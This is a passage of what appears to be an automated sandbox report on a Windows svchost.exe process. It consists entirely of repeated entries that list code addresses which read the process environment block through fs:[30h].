                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B06F1 mov eax, dword ptr fs:[00000030h]2_2_038B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B06F1 mov eax, dword ptr fs:[00000030h]2_2_038B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE609 mov eax, dword ptr fs:[00000030h]2_2_038AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872619 mov eax, dword ptr fs:[00000030h]2_2_03872619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E627 mov eax, dword ptr fs:[00000030h]2_2_0384E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03866620 mov eax, dword ptr fs:[00000030h]2_2_03866620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868620 mov eax, dword ptr fs:[00000030h]2_2_03868620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383262C mov eax, dword ptr fs:[00000030h]2_2_0383262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384C640 mov eax, dword ptr fs:[00000030h]2_2_0384C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F866E mov eax, dword ptr fs:[00000030h]2_2_038F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F866E mov eax, dword ptr fs:[00000030h]2_2_038F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A660 mov eax, dword ptr fs:[00000030h]2_2_0386A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A660 mov eax, dword ptr fs:[00000030h]2_2_0386A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03862674 mov eax, dword ptr fs:[00000030h]2_2_03862674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832582 mov eax, dword ptr fs:[00000030h]2_2_03832582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832582 mov ecx, dword ptr fs:[00000030h]2_2_03832582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03864588 mov eax, dword ptr fs:[00000030h]2_2_03864588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E59C mov eax, dword ptr fs:[00000030h]2_2_0386E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B05A7 mov eax, dword ptr fs:[00000030h]2_2_038B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B05A7 mov eax, dword ptr fs:[00000030h]2_2_038B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B05A7 mov eax, dword ptr fs:[00000030h]2_2_038B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038545B1 mov eax, dword ptr fs:[00000030h]2_2_038545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038545B1 mov eax, dword ptr fs:[00000030h]2_2_038545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E5CF mov eax, dword ptr fs:[00000030h]2_2_0386E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E5CF mov eax, dword ptr fs:[00000030h]2_2_0386E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038365D0 mov eax, dword ptr fs:[00000030h]2_2_038365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A5D0 mov eax, dword ptr fs:[00000030h]2_2_0386A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A5D0 mov eax, dword ptr fs:[00000030h]2_2_0386A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038325E0 mov eax, dword ptr fs:[00000030h]2_2_038325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C5ED mov eax, dword ptr fs:[00000030h]2_2_0386C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C5ED mov eax, dword ptr fs:[00000030h]2_2_0386C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6500 mov eax, dword ptr fs:[00000030h]2_2_038C6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838550 mov eax, dword ptr fs:[00000030h]2_2_03838550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838550 mov eax, dword ptr fs:[00000030h]2_2_03838550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386656A mov eax, dword ptr fs:[00000030h]2_2_0386656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386656A mov eax, dword ptr fs:[00000030h]2_2_0386656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386656A mov eax, dword ptr fs:[00000030h]2_2_0386656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA49A mov eax, dword ptr fs:[00000030h]2_2_038EA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038364AB mov eax, dword ptr fs:[00000030h]2_2_038364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038644B0 mov ecx, dword ptr fs:[00000030h]2_2_038644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BA4B0 mov eax, dword ptr fs:[00000030h]2_2_038BA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038304E5 mov ecx, dword ptr fs:[00000030h]2_2_038304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868402 mov eax, dword ptr fs:[00000030h]2_2_03868402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868402 mov eax, dword ptr fs:[00000030h]2_2_03868402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868402 mov eax, dword ptr fs:[00000030h]2_2_03868402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E420 mov eax, dword ptr fs:[00000030h]2_2_0382E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E420 mov eax, dword ptr fs:[00000030h]2_2_0382E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E420 mov eax, dword ptr fs:[00000030h]2_2_0382E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C427 mov eax, dword ptr fs:[00000030h]2_2_0382C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A430 mov eax, dword ptr fs:[00000030h]2_2_0386A430
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA456 mov eax, dword ptr fs:[00000030h]2_2_038EA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382645D mov eax, dword ptr fs:[00000030h]2_2_0382645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385245A mov eax, dword ptr fs:[00000030h]2_2_0385245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC460 mov ecx, dword ptr fs:[00000030h]2_2_038BC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385A470 mov eax, dword ptr fs:[00000030h]2_2_0385A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385A470 mov eax, dword ptr fs:[00000030h]2_2_0385A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385A470 mov eax, dword ptr fs:[00000030h]2_2_0385A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840BBE mov eax, dword ptr fs:[00000030h]2_2_03840BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840BBE mov eax, dword ptr fs:[00000030h]2_2_03840BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4BB0 mov eax, dword ptr fs:[00000030h]2_2_038E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4BB0 mov eax, dword ptr fs:[00000030h]2_2_038E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850BCB mov eax, dword ptr fs:[00000030h]2_2_03850BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850BCB mov eax, dword ptr fs:[00000030h]2_2_03850BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850BCB mov eax, dword ptr fs:[00000030h]2_2_03850BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830BCD mov eax, dword ptr fs:[00000030h]2_2_03830BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830BCD mov eax, dword ptr fs:[00000030h]2_2_03830BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830BCD mov eax, dword ptr fs:[00000030h]2_2_03830BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DEBD0 mov eax, dword ptr fs:[00000030h]2_2_038DEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838BF0 mov eax, dword ptr fs:[00000030h]2_2_03838BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838BF0 mov eax, dword ptr fs:[00000030h]2_2_03838BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838BF0 mov eax, dword ptr fs:[00000030h]2_2_03838BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EBFC mov eax, dword ptr fs:[00000030h]2_2_0385EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BCBF0 mov eax, dword ptr fs:[00000030h]2_2_038BCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904B00 mov eax, dword ptr fs:[00000030h]2_2_03904B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EB20 mov eax, dword ptr fs:[00000030h]2_2_0385EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EB20 mov eax, dword ptr fs:[00000030h]2_2_0385EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F8B28 mov eax, dword ptr fs:[00000030h]2_2_038F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F8B28 mov eax, dword ptr fs:[00000030h]2_2_038F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4B4B mov eax, dword ptr fs:[00000030h]2_2_038E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4B4B mov eax, dword ptr fs:[00000030h]2_2_038E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6B40 mov eax, dword ptr fs:[00000030h]2_2_038C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6B40 mov eax, dword ptr fs:[00000030h]2_2_038C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FAB40 mov eax, dword ptr fs:[00000030h]2_2_038FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D8B42 mov eax, dword ptr fs:[00000030h]2_2_038D8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828B50 mov eax, dword ptr fs:[00000030h]2_2_03828B50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DEB50 mov eax, dword ptr fs:[00000030h]2_2_038DEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382CB7E mov eax, dword ptr fs:[00000030h]2_2_0382CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904A80 mov eax, dword ptr fs:[00000030h]2_2_03904A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868A90 mov edx, dword ptr fs:[00000030h]2_2_03868A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838AA0 mov eax, dword ptr fs:[00000030h]2_2_03838AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838AA0 mov eax, dword ptr fs:[00000030h]2_2_03838AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886AA4 mov eax, dword ptr fs:[00000030h]2_2_03886AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886ACC mov eax, dword ptr fs:[00000030h]2_2_03886ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886ACC mov eax, dword ptr fs:[00000030h]2_2_03886ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886ACC mov eax, dword ptr fs:[00000030h]2_2_03886ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830AD0 mov eax, dword ptr fs:[00000030h]2_2_03830AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03864AD0 mov eax, dword ptr fs:[00000030h]2_2_03864AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03864AD0 mov eax, dword ptr fs:[00000030h]2_2_03864AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386AAEE mov eax, dword ptr fs:[00000030h]2_2_0386AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386AAEE mov eax, dword ptr fs:[00000030h]2_2_0386AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BCA11 mov eax, dword ptr fs:[00000030h]2_2_038BCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA24 mov eax, dword ptr fs:[00000030h]2_2_0386CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EA2E mov eax, dword ptr fs:[00000030h]2_2_0385EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03854A35 mov eax, dword ptr fs:[00000030h]2_2_03854A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03854A35 mov eax, dword ptr fs:[00000030h]2_2_03854A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA38 mov eax, dword ptr fs:[00000030h]2_2_0386CA38
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840A5B mov eax, dword ptr fs:[00000030h]2_2_03840A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840A5B mov eax, dword ptr fs:[00000030h]2_2_03840A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA6F mov eax, dword ptr fs:[00000030h]2_2_0386CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA6F mov eax, dword ptr fs:[00000030h]2_2_0386CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA6F mov eax, dword ptr fs:[00000030h]2_2_0386CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DEA60 mov eax, dword ptr fs:[00000030h]2_2_038DEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038ACA72 mov eax, dword ptr fs:[00000030h]2_2_038ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038ACA72 mov eax, dword ptr fs:[00000030h]2_2_038ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038309AD mov eax, dword ptr fs:[00000030h]2_2_038309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038309AD mov eax, dword ptr fs:[00000030h]2_2_038309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B89B3 mov esi, dword ptr fs:[00000030h]2_2_038B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B89B3 mov eax, dword ptr fs:[00000030h]2_2_038B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B89B3 mov eax, dword ptr fs:[00000030h]2_2_038B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C69C0 mov eax, dword ptr fs:[00000030h]2_2_038C69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038649D0 mov eax, dword ptr fs:[00000030h]2_2_038649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA9D3 mov eax, dword ptr fs:[00000030h]2_2_038FA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BE9E0 mov eax, dword ptr fs:[00000030h]2_2_038BE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038629F9 mov eax, dword ptr fs:[00000030h]2_2_038629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038629F9 mov eax, dword ptr fs:[00000030h]2_2_038629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE908 mov eax, dword ptr fs:[00000030h]2_2_038AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE908 mov eax, dword ptr fs:[00000030h]2_2_038AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC912 mov eax, dword ptr fs:[00000030h]2_2_038BC912
